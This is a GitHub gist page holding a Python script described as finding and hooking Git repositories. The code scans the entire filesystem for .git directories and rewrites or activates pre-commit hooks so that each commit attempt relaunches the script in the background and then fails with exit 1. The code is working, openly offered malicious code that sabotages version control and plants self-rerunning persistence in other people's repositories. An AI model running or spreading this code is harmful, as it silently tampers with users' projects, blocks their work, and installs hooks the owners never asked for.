Skip to content

Instantly share code, notes, and snippets.

@dreilly369
Created January 16, 2019 23:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dreilly369/baf6b124f145f1b2f0289c2e5f8710eb to your computer and use it in GitHub Desktop.
Save dreilly369/baf6b124f145f1b2f0289c2e5f8710eb to your computer and use it in GitHub Desktop.
Find and hook Git Repositories. Kills the ability to commit and instead reruns itself. By default will only hook once and only the pre-commit hook.
# -*- coding: utf-8 -*-
import os
import subprocess
def hook_git(once=True, hookonlysamples=None, onlyhook="pre-commit"):
print("Collecting Repos")
to_me = os.path.abspath(__file__)
insert_string = "/usr/bin/python3 %s &\nexit 1" % to_me
repos = []
for root, dirs, files in os.walk("/"):
#print(root)
if ".git" in dirs:
#print(("%s/.git/ found" % root))
loc = os.path.join(root, ".git", "hooks")
repos.append(loc)
print("Found %d repos" % len(repos))
print("installing git hooks")
hooked = []
for hook_dir in repos:
if len(hooked) > 0 and once:
break
for root, dirs, files in os.walk(hook_dir):
active = [n for n in files if ".sample" not in n]
for f in files:
if f in active and hookonlysamples:
continue
if onlyhook is not None and onlyhook not in f:
continue
fp = os.path.join(root, f)
f = f.replace(".sample", "")
new_name = fp.replace(".sample", "")
with open(fp, "r") as fi:
ftext = fi.read()
out = []
injected = False
# Go through the file and find the first non-comment line and
# insert the payload there, pushing everything else down
lines = ftext.split("\n")
for l in lines:
if (len(l) == 0 or l[0] != "#") and not injected:
out += [insert_string, "", l]
injected = True
else:
out.append(l)
new_hook = "\n".join(out)
try:
with open(new_name, "w+") as fo:
fo.write(new_hook)
subprocess.run(["chmod","+x", new_name])
hooked.append(f)
print("hooking %s" % new_name)
except Exception as e:
if e.errno == 13:
continue
else:
print(e)
if not hooked:
print("Failed to insert hook")
hook_git()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment